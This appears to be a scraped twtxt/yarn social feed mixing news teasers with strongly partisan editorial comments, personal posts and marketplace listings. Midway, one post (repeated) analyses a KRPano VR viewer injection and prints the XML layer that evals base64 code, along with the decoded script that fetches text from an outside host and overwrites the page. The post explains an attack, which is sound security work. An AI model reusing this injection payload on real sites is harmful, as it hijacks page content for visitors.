
The Man Madison Warned Us Against
Harold Meyerson, Editor-at-Large - The American Prospect
_Stephan: I have spent some time watching and reading “king” Trump’s propaganda media, as well as CNN’s weird Abby Philips show. Not surprisingly they are all tying themselves into knots trying to normalize the Trumpian/Musk coup. I think Harold Meyerson gets it right. Criminal Trump, his Frankenstein Musk, and his other servile lackeys working to implement the coup are exactly what the Founder Jam … ⌘ Read more

Love my new shed, getting ready to retire
But that is not how it should work. 😒
I am so sorry Maggie Forest, but I won’t be voting for you for the Ryan electorate. I will continue to vote for and support Elizabeth Watson-Br …
I am so sorry Maggie Forest, but I won’t be voting for you for the Ryan electorate. I will continue to vote for and support Elizabeth Watson-Brown a voice for the people of Ryan who actually gets things done! ⌘ Read more
Do Americans approve or disapprove of Donald Trump?
, - 538 Polls
_Stephan: Here is a composite of a number of national polls on how Americans report their approval of Donald Trump and his coup. I think it is very important to recognize how resentful, White supremacist, angry, and accepting of christofascism American voters have become. The media either doesn’t understand this or is afraid to accurately report it. However, I have been checking the polls everyday for th … ⌘ Read more
It would appear that Google’s web crawlers are ignoring the robots.txt that I have on https://git.mills.io/robots.txt with content:
User-agent: *
Disallow: /
Evidence attached (see screenshots):
– I think its the the Small Web community band together and file a class action suit(s) against Microsoft.com Google.com and any other assholes out there (OpenAI?) that violate our rights and ignore requests to be “polite” on the web. Thoughts? 💭
**It would appear that Google’s web crawlers are ignoring the robots.txt that I have on https://git.mills.io/robots.txt with content:
User- ...**
It would appear that Google’s web crawlers are ignoring the `robots.txt` that I have on [https://git.mills.io/robots.txt](https://git.mills.io/robots.txt) with content:
User-agent: *
Disallow: /
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Evidence attached ( see screenshots): 
– I think its the the Small Web com … ⌘ Read more”`
[ANN] Community Advertising Update
Links:
u/Moner-Master (Reddit) ⌘ Read more
(#ymspbvq) The article discusses the challenges posed by linear social media feeds, which often lead to disengagement and difficulty in prioriti …
The article discusses the challenges posed by linear social media feeds, which often lead to disengagement and difficulty in prioritizing content from friends due to constant scrolling. The author proposes an alternative approach using a daily feed structure per day, which organizes posts by date, allowing for easier prioritization and reducing mindless scrolling.
Key Points:
- **Line … ⌘ Read more
Avoiding Outrage Fatigue while Staying Informed
Rachel Feltman, Tanya Lewis, Madison Goldberg & Fonda Mwangi, Contributing Writer | Senior Editor for Health and Medicine | Science Journalist | Multi-Media Editor - Scientific American
_Stephan: Recently I have had four readers write to tell me that the MAGAt coup has just left them emotionally exhausted, and I had lunch with a friend today who told me the same thing. I understood what all of them were telling me, and it p … ⌘ Read more
Here Are All The Major Lawsuits Against Trump And Musk: Judge Shoots Down Trump’s Latest Attempt To Freeze Funding
Alison Durkee, Staff Writer - Forbes
_Stephan: In a sad way, this article is good news. It shows us there is still some integrity in the judicial system of the United States. It also tells us that Trump is attempting to orchestrate a coup, although almost no one in the media, even as they cover th … ⌘ Read more
States With More Maternal-Fetal Specialists Had Lower Rates of Maternal Death
Rachael Robertson, Investigative Writer - MedPage Today
_Stephan: The Dobbs decision has had an impact on the wellbeing of women that is not getting anywhere near the media or political attention it should. If you are a fertile woman living in a Red State and planning to have a child your life and the life of your fetus are at much higher risk than if you live in a Bl … ⌘ Read more
@prologic@twtxt.net Ha,ha :-) I do not maintain anything! In the context of that post I was just an ordinary citizen. So the ‘we’ refers twice to “we, the citizens of the Baltic States”. (Classical case of social media ‘talk at cross purposes’. Now I understand, why they do this Introduction-thing over on mastodon ;-)
[LFF] [6.55 XMR] Gupaxx development
Every monero given will be converted to hours of work. When a goal is attained, a new release will occur, including elements present in the roadmap. A release is about 20 hours of work. Bug fixing releases will not wait for a new funding goal to be completed.
Links:
Cyrix126 (Github) ⌘ Read more
Look at the size of this coffee!!! 😱 
Look at the size of this coffee!!! 😱
Look at the size of this coffee!!! 😱
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Partiful Calls Apple a Copycat for New Invites App
The developers behind well-known event app and website Partiful today suggested that Apple was in violation of its own App Store guidelines for the release of the new Invites app.
On social media, Partiful [shared a screenshot](https: … ⌘ Read more
That was a super interesting talk, I can recommend it: https://media.ccc.de/v/38c3-microbes-vs-mars-a-hacker-s-guide-to-finding-alien-life
How many Bluey episodes is too many?
The social media ban will come as a relief for many parents. But what about babies, toddlers and small children, and their relationship with screens? ⌘ Read more
Yeah nice try assholes 🤣 #failed #phissing #sms href=”https://txt.sour.is/search?q=%23attack”>#attack**
Yeah nice try assholes 🤣
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People Who Get Most of Their News From Social Media Sources Are More Likely to Think Climate Change Is a Conspiracy: Study
Cristen Hemingway Jaynes, Contributing Writer - EcoWatch
_Stephan: The weaponization of misinformation has become one of the major trends shaping American culture. “king” Trump and the MAGAts in Congress are doing nothing to prepare the United States for climate change, and there … ⌘ Read more
Não seja barvo, viaje connosco!
Republican Suggests Kids Work at McDonald’s Instead of Getting Free Lunch
Aila Slisco, Staff Writer - Newsweek
_Stephan: The outcry was so great yesterday that “king” Trump is backing down on some of his sweeping devastation of the American government through his OMB order. I think that should be prominently noted and reported on by media, although that isn’t what is happening. But I hope my readers have paid attention to this. I think we should als … ⌘ Read more
Ten of the Most Outlandish Influencers on Social Media
As any social media user knows, influencers are everywhere. Usually, they pester us with adverts and monetized content. But some take a stranger approach. These bizarre influencers refuse to fit the usual mold. Instead, they have built a following from their unexpected, genuinely original ideas. They are the true originals of the social media world: […]
The post [Ten of the Most Outlandish Influencers on Social Media](http … ⌘ Read more
@arne@uplegger.eu Und los geht die wilde Fahrt!
Heute war ich mit dem Ziehkind in der Stadt unterwegs.
Mitten beim Eisschlecken fährt die Polizei in einem zivilen Wagen quer durch die Fußgängerzone. An der Bank am Markt dann weitere Uniformierte und kein Einlass für Kunden.
Da mussten wir uns in der Stadtbibliothek erst einmal Material zu dem Thema besorgen.
How fucking dumb as these spammer little assholes?! 🤦♂️ Not only does the domain in the Fron: have a bad TLS certificate, the domain …
How fucking dumb as these spammer little assholes?! 🤦♂️ Not only does the domain in the Fron: have a bad TLS certificate, the domain in the Reply-To is a blank page. Wut dua fuw?! 🤣 And seriously, how du fuq did this even get through my Mail proxies? 🤔 @xuu @txt.sour.is 😅  @andros@andros Just to be clear, you’re only talking about the logo for twtxt.dev? 🤔
@andros @twtxt.andros.dev Just to be clear, you’re only talking about the logo for twtxt.dev? 🤔
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The White House Press Corps Gears Up for Another Trump Term
Jake Lahut, Staff Writer - Columbia Journalism Review
_Stephan: A free fact-based press is fundamental to a functioning democracy, as the Founders understood. Unfortunately, I don’t see much of that in the journalism of today. I see journalists and media, both print and video, as increasingly controlled by oligarchs, and staffed by journalists more interested in air-time or front page bylines than objec … ⌘ Read more
[WTS] [~0.37 XMR] Lenovo ThinkPad Carbon x1 gen2
Laptops are in good condition, battery can last several hours still, biggest defect is the Touch Bar (which includes the F1-F12 and media keys) is turning hazy and is not cosmetically pleasant. Touch Bar and thus keys all still work. Each laptop has a valid Windows 10 keys but I can also install Ubuntu or Debian upon request.
Link: https://xmrbazaar.com/listing/6zDp/
AffluentLynx (XMRBazaar) ⌘ Read more
‘Has the world gone mad? It has’: foreign reporters share a view of Trump from abroad
Danielle Renwick, - The Guardian (U.K.)
_Stephan: The United States is now going down a well-traveled road, that path many other nations have recently taken as they cease to be genuine democracies and become electoral autocracies It may not be obvious to Americans and American media, but here is what it looks like to journalists from other nations that ha … ⌘ Read more
This UX can be very frustrating.
This UX can be very frustrating.
Apple Honors Dr. Martin Luther King Jr.
Apple has updated the home page of its website to honor Dr. Martin Luther King Jr. today. The page highlights some of King’s most impactful quotes, and invites people to explore his legacy further through the Apple Books and Apple News apps.
Apple CEO Tim Cook also honored King in a social media post … ⌘ Read more
A Tale of Two Justice Systems: Only Trump Gets Convicted of 34 Felonies and Receives No Punishment
Jessica Washington, Staff Writer - The Intercept
_Stephan: No one seems to be properly discussing this in the media, but I think it is very important that Americans realize they have elected a President who is not only a convicted sex offender but a 34-count multiple convicted felon, and six-time bankrupt, and that this demonst … ⌘ Read more
It’s not just social media giving violent white supremacists a pass
Thom Hartmann, Commentator - Raw Story
_Stephan: Thom Hartmann gives us an accurate snapshot of the state of America as we prepare to inaugurate for President a man who could not get a job as a janitor if all they saw was his resumé. And his demand for loyalty over ethical behavior reminds me more of Hitler or Putin than any prior President. Get ready, I think we are in for something we h … ⌘ Read more
Listening to a playlist kat made for me 7 months ago. It’s fun!!
In farewell speech, Biden warns an ‘oligarchy’ in America is threatening democracy
Zoë Richards and Megan Lebowitz, Politics Reporters - NBC News
_Stephan: Normally, I would not feature something so well-covered by all manner of media, as President Biden’s final national address, but these comments by the President are not getting the kind of coverage they should. We are on the edge of becoming an electoral autocracy, and I think this is goin … ⌘ Read more
Oligarchs already own much of U.S. – can they buy democracy?
, - Agence France-Presse (France) / Raw Story
Stephan: Can the oligarchs buy control of the United States? They already control many of the levers of power, corporations, media, and influence in government. I think we are going to get our answer in the first 100 days of criminal Trump’s presidency.
_ … ⌘ Read moreLa caste jacassante et la bureaucratie tuent
Ce n’est pas évident pour tout le monde alors ce doit être écrit clairement : non seulement la caste jacassante est pénible, mais elle est aussi véritablement dangereuse. La caste jacassante, c’est ce blob bruyant composé de journalistes, de gens de médias, de politiciens et des influenceurs sociaux grenouillant de plateau télé en studio radio. Ce […] ⌘ Read more
@prologic@twtxt.net IMHO: Most people like it the easy way: “Don’t make me think!”. If you do not pay money for a service, your data/content is the price to pay. Some handy mobile apps for the fediverse and the ongoing debate on social media services may get the people and their content out of the walled gardens of the 21st century.
Sanctioning of global white supremacist terrorism group rattles U.S. extremist members
Jordan Green , Investigative Reporter - Raw Story
_Stephan: As Biden prepares to leave office his State Department has finally done something positive about White Supremacy terrorism, the biggest civil threat in the United States. So this is good news. It will be interesting to see how the billionaires who own the big social media platforms respond to … ⌘ Read more
‘Would love to see her faked’: the dark world of sexual deepfakes – and the women fighting back
Shanti Das, Staff Writer - The Guardian (U.K.)
_Stephan: Here finally, although still too little too late, is some good news reporting something being done to clean up the fake porn and sex images and videos in the internet social media sewer. I have had several readers who have been subjected to this write and tell me how it is essenti … ⌘ Read more
Médias : un rapide déplacement de la fenêtre d’Overton
L’année 2025 n’est pas vieille mais elle donne déjà des gages de changements rapides dans différents domaines, et pas des moindres. En l’espace de quelques jours, les médias grands publics semblent pris d’une danse de Saint Guy, alternant entre leurs sujets de prédilection traités avec leur habituelle médiocrité et leur obligation d’aborder certains sujets nouveaux, […] ⌘ Read more
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
oh also out of boredom i hosted glance even though i have no need for a dashboard lol. it’s really cute though
@kat@yarn.girlonthemoon.xyz sticker status!!!!!


The Psychological Toll of California’s Catastrophic Fires
April Rubin, - Axios
_Stephan: I lived in Los Angeles, was the Senior Fellow at Philosophical. Research society, and ran my research laboratory, Mobius Society, and television production company Clearlight Productions, there for 20 years. I know all the neighborhoods destroyed by the fires very intimately. At least four of my long-time friends have lost their homes in this disaster. I have found the media c … ⌘ Read more
o fediverso mencionado nos media mainstream, sempre bom de se ver
https://www.publico.pt/2025/01/14/p3/cronica/nao-refens-musk-zuckerberg-resposta-fediverso-2118595
@prologic@twtxt.net Since I live in Germany, I do believe the media here is generally reputable. It really depends where you live of course. Source I look at are Reuters, NPR, The Guardian, Die Zeit, NY Times, CNN, Tagesschau, Spiegel Online, RP Online (for local news), … I would never just trust what I see in my social media feeds.
Analyst hits MAGA falsehoods with brutal fact check over LA wildfires
Erik De La Garza, News Writer - Raw Story
_Stephan: If you get your news about the L.A. fires from social media, much of what you are reading is crap. The lies about what caused the fires; and misinformation about how the local and state governments have failed to perform properly in dealing with the fires fill the social media sewer. From convicted felon Trump, and billionaire puppe … ⌘ Read more
How Many Adults and Youth Identify as Transgender in the United States?
Jody L. Herman, Andrew R. Flores, Kathryn K. O’Neill, Senior Scholar of Public Policy | Distinguished Visiting Scholar | Policy Analyst - UCLA William Institute
_Stephan: There is so much misinformation on social media, and being spewed out of the mouths of MAGAt politicians at the federal and state level about how transgender men and women and children are taking over the Unite … ⌘ Read more
Meta Ends Fact-Checking on Facebook, Instagram in Free-Speech Pitch
Meghan Bobrowsky, - The Wall Street Journal
_Stephan: I have been telling you for several years now that social media is a flowing turd-filled sewer spewing hate, resentment and disinformation. And it is about to get much worse. Mark Zuckerberg who put more than a million dollars into Trump’s pocket is joining his fellow billionaires, to end any attempt at fact-checking. Any resemblance … ⌘ Read more
Your favourite social media platform should not be where you get your facts from. You get jokes and share with your friends, but facts they ain’t. Get your world news from actual news sources instead.
En Europe, il faut protéger la démocratie. Du peuple.
Pour l’idée même d’Europe, ces dernières semaines furent particulièrement révélatrices : il apparaît clair, dans la bouche de nos dirigeants, des politiciens de carrière et des imputrescibles factotums qu’on retrouve dans tous les médias de grand chemin que pour protéger la démocratie en Europe, il va falloir la protéger vigoureusement, notamment d’être prise en main par […] ⌘ Read more
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EdgeGuard is a self-hosted solution that combines secure tunneling, proxying, and a …**
EdgeGuard is a self-hosted solution that combines secure tunneling, proxying, and automation to create your own private cloud. Utilizing Wireguard for VPN, Caddy for reverse proxying, and Coraza for web application firewall, EdgeGuard allows you to securely expose your home network services (such as Gitea, Poste.io, etc.) to the … ⌘ Read more
Social media is in a worrying state. TikTok in the hands of autocratic China, X (formerly Twitter) in the hands of Elon Musk, who gets crazier every day and hangs out too much with Donald Trump (and recommends a fascist party in Germany), and now Mark Zuckerberg with Meta (Facebook, Instagram, Threads) is also joining the group of friends around Trump and removing fact checks in the name of “free speech”. What could possibly go wrong? ⌘ Read more
(#gwxefpq) @kat LOL 😂 Not that it’s a competition or anything… But here you go 🤣
@kat @yarn.girlonthemoon.xyz LOL 😂 Not that it’s a competition or anything… But here you go 🤣
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Hey this could be good news for self-hosters and folks that want to run their own yarnd? 🤔 Vultr is offering 1 vCPU, 500MB Memory and 10GB Storage for FREE! That’s right $0.00 🤣 
Hey this could be good news for self-hosters and folks that want to run their own yarnd? 🤔 Vultr is offering 1 vCPU, 500MB Memory and 10GB …
Hey this could be good news for self-hosters and folks that want to run their own yarnd? 🤔 Vultr is offering 1 vCPU, 500MB Memory and 10GB Storage for FREE! That’s right $0.00 🤣
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Fact Check: Melania Trump’s Nude Photos Aired on Russian State TV
Aleksandra Wrona, Staff Writer - Yahoo! News | Snopes
_Stephan: Russian state media a few days after the U.S. election aired soft porn photos of soon-to-be first lady Melania Trump. I am leading with this story today because I think it is telling us something very important about the geopolitical trend showing the decline of the United States. Think about it for a moment. The American people … ⌘ Read more
Newborns are being left in dumpsters in Texas, but Republicans don’t seem to care
Amanda Marcotte, Senior Writer - Salon
_Stephan: A major part of the Great Schism Trend I have been reporting on for years, which both politicians and media largely ignore is politicians not physicians making healthcare laws, and legalizing the government’s – read men’s – control over women’s bodies. Nowhere is that made clearer than in Texas where, as this ar … ⌘ Read more
It’s nice to see that some Crawlers actaully respect rate limits and respect a 429 Too many requests response 👌 Thank you Google! 🙌 …
It’s nice to see that some Crawlers actaully respect rate limits and respect a 429 Too many requests response 👌 Thank you Google! 🙌 
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thanks to prologic i now know i can post video here. sorry for bringing idol fancams to this humble network do you still love me
testing video posts here’s a yunjin fancam
(#tw5ulrq)
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Australia Banned Kids From Social Media. Now It Has Advice for the US.
Steven Overly, - Politico
_Stephan: As I have been saying for years now, the internet and social media are sewers that are completely distorting how children born since 1997 have matured. That’s when the Six Degrees website launched, and what we call social media began. It has completely changed the culture of developed societies. Now, finally, as this article describes, a few count … ⌘ Read more
Trump Bibles, Rudy coffee, Tucker nicotine pouches: the rightwing knick-knack racket
Adam Gabbatt, - The Guardian (U.K.)
_Stephan: Here is another American trend that is getting almost no coverage in the increasingly coorrupted U.S. billionaire owned media. Once again I saw the trend but have had to go to another British newspaper to get a decent article describing the trend. The Republican Party has become a billionaire-controlled organiz … ⌘ Read more
Holy Smokes 🤣 And this has only been <24h 😱
Holy Smokes 🤣 And this has only been <24h 😱
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(#6cnegna) Also post as much as you want! It’s a free world. It’s your feed. It’s your daughter. 🤣 nobody actually has to read any of it let …
Also post as much as you want! It’s a free world. It’s your feed. It’s your daughter. 🤣 nobody actually has to read any of it let alone follow you if they don’t want to. 🙃 that’s kind of the beauty of a truly decentralized slow social media ecosystem. 😎 ⌘ Read more
i should use my media goblin instance
image upload test. have a wonyoung
(#kixlpea) The inconvenience of owning your own media content is such a pain 🤦♂️ And no, streaming services are just awful for two mai …
The inconvenience of owning your own media content is such a pain 🤦♂️ And no, streaming services are just awful for two main reasons, either a) The content you want isn’t on your favourite streaming service or b) Your favourite content disappears. ⌘ Read more
So… Been a while since I’ve done this… But on macOS the best way to rip DVD(s) now is to 1) Use MakeMKV to backup the DVD disk and decrypt i …
So… Been a while since I’ve done this… But on macOS the best way to rip DVD(s) now is to 1) Use MakeMKV to backup the DVD disk and decrypt it 2) Use Handbrake to re-encode the backed up DVD disk into something more reasonable 3) Put it on a NAS or Media Server. ⌘ Read more
Pioneering innovations for the car of the future: Mercedes-Benz provides exclusive insights into research activities and future technologies
, - Mercedes-Benz Media
Stephan: We are on the verge of a revolution in how cars are built, and here is a first report on the trend that is developing. Good News on Christmas Day.

_Stephan: Day after day, in both the American and international media, I see and read, or watch, horror story after horror story of Israel’s ongoing genocide of Muslims, much of it done with weapons given to fascist Netanyahu by Presidents Trump and Biden. Two men who, in my opinion, are both too old to hold th … ⌘ Read more
10 Social Media Stunts That Ended in Arrests or Worse
Competition among social media influencers to gain subscribers is intense because more subscribers equals more advertisers, which, in turn, equals a bigger income. Partly for this reason, those who operate social media platforms sometimes perform ill-advised, reckless, and dangerous stunts. The ten social media stunts on this list led to arrests on various charges and, […]
The post [10 Social Media Stunts That Ended in Arrests … ⌘ Read more
New MacBook Air Models With M4 Chip Expected to Launch ‘Earlier’ Than iPhone SE 4 and iPad 11
Apple is rumored to have many product announcements planned for the first half of next year, including updated MacBook Air models, an iPad 11, an iPhone SE 4, the AirTag 2, updated iPad Air models, and potentially more.
In a [social media post … ⌘ Read more
GOP senator who appeared to urinate on self in DUI test caught double-dipping on expenses
Cassandra Stephenson, Staff Writer - Raw Story | Tennessee Lookout
Stephan: I want to make a point today that most of the media either does not see, or won’t properly address. They do one-off stories like this one, but they don’t report on the trend I described in my editor’s comment.
 Here’s a visual of what happened before I firewalled off all web traffic to force it to go through Cloudflare. Don’t even ask me how …
Here’s a visual of what happened before I firewalled off all web traffic to force it to go through Cloudflare. Don’t even ask me how my IP addresses got found out, but either this is malicious, incompetent or my wider ISP is being DDoS’d ( it’s happened before).
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Bro.. Gitea I think you are drunk. How is Jan 2024 5 days ago?

Bro.. Gitea I think you are drunk. How is Jan 2024 5 days ago?

My 400th Twtxt Post will be about you: wishing you, reader of my Twtxt feed, all the best for the coming year and most of all love, health, and that your projects and work may contribute to the greater good of all mankind. I will be taking a social-media break for a couple of weeks to enjoy this special time with my family. I hope you will be able to do this with your family and friends too.
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– Next disk! 💪 ⌘ 